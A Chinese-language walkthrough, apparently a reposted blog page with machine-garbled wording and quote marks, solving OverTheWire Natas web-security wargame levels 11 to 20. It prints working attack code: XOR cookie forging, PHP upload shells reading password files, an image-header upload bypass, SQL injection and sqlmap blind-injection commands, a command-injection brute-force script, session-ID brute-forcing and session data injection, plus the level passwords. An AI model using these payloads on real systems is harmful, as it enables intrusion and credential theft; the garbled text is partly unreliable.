首页 » SEO优化 » phpexifbody技巧_Natas通关指南1120

phpexifbody技巧_Natas通关指南1120

访客 2024-12-09 0

扫一扫用手机浏览

文章目录 [+]

接上一篇Natas通关指南(1-10) 连续闯关

OverTheWire 是一个 wargame 网站。
个中 Natas 是一个适宜学习Web安全根本的游戏,在Natas 中,我们须要通过找到网站的漏洞得到通往下一关的密码。
每一关都有一个网站,类似 http://natasX.natas.labs.overthewire.org,个中X是每一关的编号。
每一关都要输入用户名(例如,level0的用户名是natas0)及其密码才能访问。
所有密码存储在 /etc/natas_webpass/中。
例如natas1的密码存储在文件 /etc/natas_webpass/natas1中,只能由natas0和natas1读取。

phpexifbody技巧_Natas通关指南1120

网站:

phpexifbody技巧_Natas通关指南1120
(图片来自网络侵删)

http://overthewire.org/wargames/natas/

Tips:所用工具:Chrome浏览器;Curl;BurpSuite;SQLMap

Level 11-12

Username: natas11

Password: natas11

URL: http://natas11.natas.labs.overthewire.org

首先利用我们之前得到的密码: U82q5TCMMQ9xuFoI3dYX61s7OZD9JKoK登录natas11,得到一句提示:

Cookies are protected with XOR encryption

还有一个可以设置背景颜色的输入框,输入16进制的色值,即可设置网页背景颜色,同样可以通过点击 Viewsourcecode查看源码。
关键代码如下:

$defaultdata = array( \公众showpassword\"大众=>\"大众no\"大众, \"大众bgcolor\"大众=>\公众#ffffff\公众);function xor_encrypt($in) { $key = '<censored>'; $text = $in; $outText = ''; // Iterate through each character for($i=0;$i<strlen($text);$i++) { $outText .= $text[$i] ^ $key[$i % strlen($key)]; } return $outText;}function loadData($def) { global $_COOKIE; $mydata = $def; if(array_key_exists(\"大众data\"大众, $_COOKIE)) { $tempdata = json_decode(xor_encrypt(base64_decode($_COOKIE[\"大众data\公众])), true); if(is_array($tempdata) && array_key_exists(\"大众showpassword\"大众, $tempdata) && array_key_exists(\公众bgcolor\"大众, $tempdata)) { if (preg_match('/^#(?:[a-f\d]{6})$/i', $tempdata['bgcolor'])) { $mydata['showpassword'] = $tempdata['showpassword']; $mydata['bgcolor'] = $tempdata['bgcolor']; } } } return $mydata;}function saveData($d) { setcookie(\"大众data\"大众, base64_encode(xor_encrypt(json_encode($d))));}$data = loadData($defaultdata);if(array_key_exists(\公众bgcolor\"大众,$_REQUEST)) { if (preg_match('/^#(?:[a-f\d]{6})$/i', $_REQUEST['bgcolor'])) { $data['bgcolor'] = $_REQUEST['bgcolor']; }}saveData($data);?><h1>natas11</h1><div id=\"大众content\"大众><body style=\"大众background: <?=$data['bgcolor']?>;\公众>Cookies are protected with XOR encryption<br/><br/><?if($data[\"大众showpassword\公众] == \公众yes\"大众) { print \"大众The password for natas12 is <censored><br>\公众;}?>

从代码可以看出,通过一些列的编码,包括 base64加密, php异或运算。
把用户输入的数据编码进 cookie里面。
通过浏览器可以查看到data这个值是: ClVLIh4ASCsCBE8lAxMacFMZV2hdVVotEhhUJQNVAmhSEV4sFxFeaAw。
而 showpassword这个参数决定了我们是否能看到下一关密码。
代码中有个 censored的 key,这个是 php用来做异或运算加密用到的 key,我们须要先算出这 key值,然后用这个值作为 key进走运算和一些列编码,打算出新的 cookie传入,即可得到下一关的密码。

key值打算:

<?php $orig_cookie = base64_decode('ClVLIh4ASCsCBE8lAxMacFMZV2hdVVotEhhUJQNVAmhSEV4sFxFeaAw'); function xor_encrypt($in) { $text = $in; $key = json_encode(array( \公众showpassword\公众=>\"大众no\"大众, \公众bgcolor\公众=>\公众#ffffff\"大众)); $out = ''; for($i=0;$i<strlen($text);$i++) { $out .= $text[$i] ^ $key[$i % strlen($key)]; } return $out; } echo xor_encrypt($orig_cookie); ?>

得到的结果是 qw8J

打算新的Cookie:

<?php$defaultdata = array( \"大众showpassword\"大众=>\"大众yes\"大众, \公众bgcolor\"大众=>\公众#ffffff\公众);function xor_encrypt($in) { $key = 'qw8J'; $text = $in; $out = ''; // Iterate through each character for($i=0;$i<strlen($text);$i++) { $out .= $text[$i] ^ $key[$i % strlen($key)]; } return $out;}function loadData($def) { $mydata = $def; $tempdata = json_decode(xor_encrypt(base64_decode($data)), true); return $mydata;}echo base64_encode(xor_encrypt(json_encode(loadData($defaultdata)))) ?>

结果是: ClVLIh4ASCsCBE8lAxMacFMOXTlTWxooFhRXJh4FGnBTVF4sFxFeLFMK,传入新的Cookie:

curl -isu natas11:U82q5TCMMQ9xuFoI3dYX61s7OZD9JKoK natas11.natas.labs.overthewire.org --cookie \"大众data=ClVLIh4ASCsCBE8lAxMacFMOXTlTWxooFhRXJh4FGnBTVF4sFxFeLFMK\"大众HTTP/1.1 200 OKDate: Mon, 27 Aug 2018 13:40:47 GMTServer: Apache/2.4.10 (Debian)Set-Cookie: data=ClVLIh4ASCsCBE8lAxMacFMOXTlTWxooFhRXJh4FGnBTVF4sFxFeLFMK......Cookies are protected with XOR encryption<br/><br/>The password for natas12 is EDXp0pS26wLKHZy1rDBPUZk0RKfLGIR3<br>......

得到密码。

Level 12-13

Username: natas12

URL: http://natas12.natas.labs.overthewire.org

登录natas12,可以看到是一个上传文件功能:

Choose a JPEG to upload (max 1KB):

提示可以上传图片,最大不超过1kB,点击 Viewsourcecode查看源码,关键代码如下:

<? function genRandomString() { $length = 10; $characters = \"大众0123456789abcdefghijklmnopqrstuvwxyz\公众; $string = \公众\"大众; for ($p = 0; $p < $length; $p++) { $string .= $characters[mt_rand(0, strlen($characters)-1)]; } return $string; } function makeRandomPath($dir, $ext) { do { $path = $dir.\公众/\"大众.genRandomString().\公众.\"大众.$ext; } while(file_exists($path)); return $path; } function makeRandomPathFromFilename($dir, $fn) { $ext = pathinfo($fn, PATHINFO_EXTENSION); return makeRandomPath($dir, $ext); } if(array_key_exists(\"大众filename\"大众, $_POST)) { $target_path = makeRandomPathFromFilename(\"大众upload\"大众, $_POST[\公众filename\公众]); if(filesize($_FILES['uploadedfile']['tmp_name']) > 1000) { echo \公众File is too big\"大众; } else { if(move_uploaded_file($_FILES['uploadedfile']['tmp_name'], $target_path)) { echo \"大众The file <a href=\\"大众$target_path\\"大众>$target_path</a> has been uploaded\公众; } else{ echo \"大众There was an error uploading the file, please try again!\公众; } } } else { ?> <form enctype=\公众multipart/form-data\公众 action=\"大众index.php\"大众 method=\"大众POST\"大众> <input type=\"大众hidden\公众 name=\"大众MAX_FILE_SIZE\公众 value=\"大众1000\"大众 /> <input type=\"大众hidden\"大众 name=\公众filename\"大众 value=\公众<? print genRandomString(); ?>.jpg\公众 /> Choose a JPEG to upload (max 1KB):<br/> <input name=\"大众uploadedfile\"大众 type=\公众file\"大众 /><br /> <input type=\"大众submit\"大众 value=\公众Upload File\"大众 />

通过阅读代码,可以创造除了限定文件大小和文件扩展名做了前端限定之外,并没有检测文件类型。
而且还会返回上传后的路径,那我们直接上传一个 php文件去读取 natas13的密码即可。
你可以通过 BurpSuite之类的工具修正上传的 filename后缀即可。

///getpass.php<?php$getpass = file_get_contents('/etc/natas_webpass/natas13');echo $getpass;?>

得到密码: jmLTY0qiPZBbaKc9341cqPQZBJv7MQbY

Level 13-14

Username: natas13

URL: http://natas13.natas.labs.overthewire.org

页面和前一关一样,不过查看源代码创造这一次限定了文件类型,通过 php的函数 exif_imagetype() 来验证文件类型,通过查看php的文档,这个函数通过检讨文件的署名(第一个字节),从而检测文件类型。
关键代码如下:

} else if (! exif_imagetype($_FILES['uploadedfile']['tmp_name'])) { echo \"大众File is not an image\"大众; } else { if(move_uploaded_file($_FILES['uploadedfile']['tmp_name'], $target_path)) { echo \"大众The file <a href=\\"大众$target_path\\"大众>$target_path</a> has been uploaded\公众; } else{ echo \公众There was an error uploading the file, please try again!\公众; } } } else {

那我们只需在上传的 php文件中加入任意图片格式文件头标识即可,比如 GIF98a

GIF89a<?php$getpass = file_get_contents('/etc/natas_webpass/natas14');echo $getpass;?>

上传后访问返回的路径,得到密码: Lg96M10TdfaPyVBkJdjymbllQ5L6qdl1

Level 14-15

Username: natas14

URL: http://natas14.natas.labs.overthewire.org

访问后,是一个登录页面,须要输入 username和 password,查看代码,关键代码:

<? if(array_key_exists(\公众username\"大众, $_REQUEST)) { $link = mysql_connect('localhost', 'natas14', '<censored>'); mysql_select_db('natas14', $link); $query = \"大众SELECT from users where username=\\"大众\"大众.$_REQUEST[\"大众username\"大众].\"大众\\"大众 and password=\\"大众\"大众.$_REQUEST[\公众password\"大众].\"大众\\"大众\公众; if(array_key_exists(\"大众debug\"大众, $_GET)) { echo \公众Executing query: $query<br>\公众; } if(mysql_num_rows(mysql_query($query, $link)) > 0) { echo \"大众Successful login! The password for natas15 is <censored><br>\"大众; } else { echo \"大众Access denied!<br>\"大众; } mysql_close($link); } else { ?>

很明显的 SQL注入漏洞,没有任何过滤,直接试试万能密码: \公众 OR 1=1 #

注入成功,得到密码: Successfullogin!Thepasswordfornatas15isAwWj0w5cvxrZiONgZ9J5stNVkmxdk39J

Level 15-16

Username: natas15

URL: http://natas15.natas.labs.overthewire.org

页面须要输入一个 username,可以点击 Checkexistence查询用户是否存在,关键代码如下:

<h1>natas15</h1> <div id=\"大众content\"大众> <? / CREATE TABLE `users` ( `username` varchar(64) DEFAULT NULL, `password` varchar(64) DEFAULT NULL ); / if(array_key_exists(\"大众username\"大众, $_REQUEST)) { $link = mysql_connect('localhost', 'natas15', '<censored>'); mysql_select_db('natas15', $link); $query = \公众SELECT from users where username=\\公众\"大众.$_REQUEST[\"大众username\公众].\"大众\\"大众\"大众; if(array_key_exists(\"大众debug\"大众, $_GET)) { echo \公众Executing query: $query<br>\"大众; } $res = mysql_query($query, $link); if($res) { if(mysql_num_rows($res) > 0) { echo \"大众This user exists.<br>\"大众; } else { echo \"大众This user doesn't exist.<br>\"大众; } } else { echo \公众Error in query.<br>\公众; } mysql_close($link); } else { ?>

这一关,页面不会返回SQL结果。
但可以通过缺点提示判断查询的结果,以是可以利用SQL盲注,可以利用 LIKE表达式用通配符按个判断。
这里我们直接用 sqlmap好了。

sqlmap -u http://natas15.natas.labs.overthewire.org/index.php --auth-type=basic --auth-cred=natas15:AwWj0w5cvxrZiONgZ9J5stNVkmxdk39J --dbms=mysql --data username=natas16 --level=5 --risk=3 --technique=B --dump --string=\"大众This user exists\"大众

或者写python脚本获取密码,得到密码 WaIHEacj63wnNIBROHeqi3p9t0m5nhmh

Level 16-17

Username: natas16

URL: http://natas16.natas.labs.overthewire.org

这一关和第9关,第10关很像,不过过滤了更多的字符

页面提示 Forsecurity reasons,we now filter even more on certain characters,页面功能是 Findwords containing:,须要输入一些内容,然后搜索,然后会输出一些内容。
关键代码如下:

$key = \"大众\"大众;if(array_key_exists(\"大众needle\"大众, $_REQUEST)) { $key = $_REQUEST[\公众needle\公众];}if($key != \"大众\"大众) { if(preg_match('/[;|&`\'\"大众]/',$key)) { print \"大众Input contains an illegal character!\"大众; } else { passthru(\"大众grep -i \\"大众$key\\"大众 dictionary.txt\公众); }}?>

虽然过滤了很多字符,但是没有过滤 $和 ()。
我们知道PHP里的 $()纵然在引号内也可以利用,以是我们可以布局注入措辞 $(grep a/etc/natas_webpass/natas17),实行的语句是这样的: passthru(\公众grep -i \\公众$(grep a /etc/natas_webpass/natas17)\\"大众 dictionary.txt\"大众);所有的单词都被返回了。
我们知道 dictionary.txt中存在字符串,比如说 A,用它与 $(grep)的返回值相加,如果内层返回了却果将检索出空值,如果返回空值则外层的 grep会返回结果 。

比如说:如 password中首字母为 a,构成

grep-I\"大众$(grep ^a /etc/natas_webpass/natas17)A\"大众dictionary.txt由于内部的 $()命令返回了 a,则使外层命令变为

grep-I\公众aA\公众dictionary.txt由于 dictionary中没有 aA,从而返回空值

而如果内层 $()命令返回空值,外层则能精确检索到 A,于是返回值,证明首字母不是 a

按照这个事理可以布局出爆破脚本

import requestschars = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ'exist = ''password = ''target = 'http://natas16:WaIHEacj63wnNIBROHeqi3p9t0m5nhmh@natas16.natas.labs.overthewire.org/'trueStr = 'Output:\n<pre>\n</pre>'for x in chars: r = requests.get(target+'?needle=$(grep '+x+' /etc/natas_webpass/natas17)Getpass') if r.content.find(trueStr) != -1: exist += x print 'Using: ' + existfor i in range(32): for c in exist: r = requests.get(target+'?needle=$(grep ^'+password+c+' /etc/natas_webpass/natas17)Getpass') if r.content.find(trueStr) != -1: password += c print 'Password: ' + password + '' int(32 - len(password)) break

得到密码是: 8Ps3H0GWbn5rd9S7GmAdgQNdkhPkq9cw

Level 17-18

Username: natas17

URL: http://natas17.natas.labs.overthewire.org

同 natas15,不过没有缺点提示,以是可以用基于韶光的盲注。

得出的密码是 xvKIqDjy4OPv7wCRgDlmj0pFsCsDjhdP

Level 18-19

Username: natas18

URL: http://natas18.natas.labs.overthewire.org

提示: Pleaseloginwithyour admin account to retrieve credentialsfornatas19.

同样有一个登录框,可以输入 username和 password。
关键代码如下:

$maxid = 640; // 640 should be enough for everyone function isValidAdminLogin() { / {{{ / if($_REQUEST[\公众username\公众] == \"大众admin\"大众) { / This method of authentication appears to be unsafe and has been disabled for now. / //return 1; } return 0; } / }}} / function isValidID($id) { / {{{ / return is_numeric($id); } / }}} / function createID($user) { / {{{ / global $maxid; return rand(1, $maxid); } / }}} / function debug($msg) { / {{{ / if(array_key_exists(\公众debug\"大众, $_GET)) { print \"大众DEBUG: $msg<br>\"大众; } } / }}} / function my_session_start() { / {{{ / if(array_key_exists(\公众PHPSESSID\"大众, $_COOKIE) and isValidID($_COOKIE[\"大众PHPSESSID\"大众])) { if(!session_start()) { debug(\"大众Session start failed\公众); return false; } else { debug(\"大众Session start ok\"大众); if(!array_key_exists(\公众admin\公众, $_SESSION)) { debug(\"大众Session was old: admin flag set\公众); $_SESSION[\公众admin\公众] = 0; // backwards compatible, secure } return true; } } return false; } / }}} / function print_credentials() { / {{{ / if($_SESSION and array_key_exists(\"大众admin\"大众, $_SESSION) and $_SESSION[\公众admin\公众] == 1) { print \"大众You are an admin. The credentials for the next level are:<br>\公众; print \"大众<pre>Username: natas19\n\"大众; print \"大众Password: <censored></pre>\公众; } else { print \"大众You are logged in as a regular user. Login as an admin to retrieve credentials for natas19.\公众; } } / }}} / $showform = true; if(my_session_start()) { print_credentials(); $showform = false; } else { if(array_key_exists(\公众username\"大众, $_REQUEST) && array_key_exists(\"大众password\"大众, $_REQUEST)) { session_id(createID($_REQUEST[\公众username\"大众])); session_start(); $_SESSION[\公众admin\"大众] = isValidAdminLogin(); debug(\"大众New session started\"大众); $showform = false; print_credentials(); } } if($showform) { ?>

从代码上来看,没有连接数据库,解释不是 sql注入,但是我们把稳到有一个变量 maxid,在 createID函数中,吸收用户名要求,并将其分配给 1到 640($maxid)之间的随机整数。
然后它将其初始化为 session_id。
假设 PHPSESSID是来自 session_id的赋值,意味有1个会话ID分配会分配给“admin”。
通过浏览器要求,我们创造 PHPSESSID的值确实是来自变量 maxid产生的 session_id值。

以是我们只要穷举 maxid的值就好了。
可以用 Burpsuite爆破这个值,然后把它作为 PHPSESSID发送要求,即可得到密码。
密码为 4IwIrekcuZlA9OsjOkoUtwU6lhokCPYs

如果嫌 Burpsuite太麻烦,用 shell脚本也可轻松搞定

for i in `seq 640` do echo $i curl -isu natas18:xvKIqDjy4OPv7wCRgDlmj0pFsCsDjhdP http://natas18.natas.labs.overthewire.org/ --cookie \"大众PHPSESSID=$i\"大众 | grep natas19done

Level 19-20

Username: natas19

URL: http://natas19.natas.labs.overthewire.org

提示是这样的: Thispage uses mostly the same codeasthe previous level,but sessionIDsarenolonger sequential...Pleaseloginwithyour admin account to retrieve credentialsfornatas20.意思便是和上一关一样,只不过 PHPSESSID不再那么大略随意马虎猜到而已。

通过不雅观察,创造其 PHPSESSID,虽然一长串字符串,如 3237362d61646d696e,通过16进制解码创造,都是由 3位数字-admin组成的,也便是说后面的 2d61646d696e是不变的。
以是我们只须要穷举 1-640之间的数字然后拼接 -admin做16进制转换,再带入 PHPSESSID中进行提交,就能找到那个属于 admin的 PHPSESSID。
末了得到的密码是 eofm3Wsshxc5bwtVnEuGIlr7ivb9KABF

Level 20-21

Username: natas20

URL: http://natas20.natas.labs.overthewire.org

登录后,提示: Youare loggedinasa regular user.Loginasan admin to retrieve credentialsfornatas21. 你可以输入 Yourname,然后点 Changename,不过无论你输入什么页面都没有任何信息反馈给你。
查看源码,关键代码如下:

<? function debug($msg) { / {{{ / if(array_key_exists(\"大众debug\"大众, $_GET)) { print \公众DEBUG: $msg<br>\"大众; } } / }}} / function print_credentials() { / {{{ / if($_SESSION and array_key_exists(\"大众admin\公众, $_SESSION) and $_SESSION[\公众admin\公众] == 1) { print \"大众You are an admin. The credentials for the next level are:<br>\公众; print \"大众<pre>Username: natas21\n\公众; print \公众Password: <censored></pre>\"大众; } else { print \"大众You are logged in as a regular user. Login as an admin to retrieve credentials for natas21.\"大众; } } / }}} / / we don't need this / function myopen($path, $name) { //debug(\"大众MYOPEN $path $name\"大众); return true; } / we don't need this / function myclose() { //debug(\"大众MYCLOSE\"大众); return true; } function myread($sid) { debug(\"大众MYREAD $sid\"大众); if(strspn($sid, \"大众1234567890qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM-\"大众) != strlen($sid)) { debug(\"大众Invalid SID\"大众); return \"大众\公众; } $filename = session_save_path() . \公众/\"大众 . \"大众mysess_\"大众 . $sid; if(!file_exists($filename)) { debug(\"大众Session file doesn't exist\公众); return \"大众\"大众; } debug(\公众Reading from \"大众. $filename); $data = file_get_contents($filename); $_SESSION = array(); foreach(explode(\"大众\n\公众, $data) as $line) { debug(\公众Read [$line]\公众); $parts = explode(\公众 \"大众, $line, 2); if($parts[0] != \公众\"大众) $_SESSION[$parts[0]] = $parts[1]; } return session_encode(); } function mywrite($sid, $data) { // $data contains the serialized version of $_SESSION // but our encoding is better debug(\"大众MYWRITE $sid $data\"大众); // make sure the sid is alnum only!! if(strspn($sid, \"大众1234567890qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM-\"大众) != strlen($sid)) { debug(\"大众Invalid SID\"大众); return; } $filename = session_save_path() . \"大众/\"大众 . \公众mysess_\"大众 . $sid; $data = \公众\"大众; debug(\"大众Saving in \公众. $filename); ksort($_SESSION); foreach($_SESSION as $key => $value) { debug(\"大众$key => $value\"大众); $data .= \"大众$key $value\n\公众; } file_put_contents($filename, $data); chmod($filename, 0600); } / we don't need this / function mydestroy($sid) { //debug(\"大众MYDESTROY $sid\"大众); return true; } / we don't need this / function mygarbage($t) { //debug(\"大众MYGARBAGE $t\"大众); return true; } session_set_save_handler( \"大众myopen\公众, \"大众myclose\公众, \"大众myread\公众, \"大众mywrite\"大众, \"大众mydestroy\"大众, \"大众mygarbage\"大众); session_start(); if(array_key_exists(\"大众name\"大众, $_REQUEST)) { $_SESSION[\"大众name\"大众] = $_REQUEST[\"大众name\"大众]; debug(\公众Name set to \公众 . $_REQUEST[\公众name\"大众]); } print_credentials(); $name = \"大众\"大众; if(array_key_exists(\公众name\"大众, $_SESSION)) { $name = $_SESSION[\"大众name\"大众]; } ?>

我们来看看每个函数的浸染:

debug($msg)表示打开了调试信息,可以通过在URL的末端添加 /index.php?debug来查看调试 $msg。

访问之后将看到一些提示,类似这样的:

DEBUG: MYWRITE sm2d78a9d3u7r6qq2dn8tl7sf1 name|s:5:\"大众admin\公众;DEBUG: Saving in /var/lib/php5/sessions//mysess_sm2d78a9d3u7r6qq2dn8tl7sf1DEBUG: name => admin

可以看出,登录之后, $ _SESSION的值被存储在一个文件中。

重点在 mywrite和 myread这两个关键函数,它们的浸染是管理会话状态。

默认情形下, $ _SESSION中唯一的 key是 name,其值通过 /index.php中的表单提交进行设置。
我们可以通过对 name键值对进行注入:将 data里面的值变为: name xxxx \n admin1\n。

对换行符编码然后提交:

http://natas20.natas.labs.overthewire.org/index.php?name=test%0Aadmin%201&debug=1

再次访问 http://natas20.natas.labs.overthewire.org即可得到密码

You are an admin. The credentials for the next level are:Username: natas21Password: IFekPyrQXftziDEsUr3x21sYuahypdgJ

未完待续......

标签:

相关文章

探索IT包装品牌,引领行业新风尚

随着科技的飞速发展,IT行业已经成为我国经济增长的重要引擎。在这个充满活力的行业里,IT包装品牌扮演着至关重要的角色。本文将带您走...

SEO优化 2024-12-15 阅读0 评论0

rpcphppdo技巧_手动搭建lnmp情形

1,安装VMware,可以直接百度下载我安装的是VM122,创建虚拟机,把稳自己linux是32位还是64位,可以利用默认分区;最...

SEO优化 2024-12-15 阅读0 评论0

河南IT展,科技盛宴,助力中原崛起

近年来,我国信息技术产业蓬勃发展,各地纷纷举办各类IT展会,以推动区域经济转型升级。在这其中,河南IT展以其独特的魅力和影响力,成...

SEO优化 2024-12-15 阅读0 评论0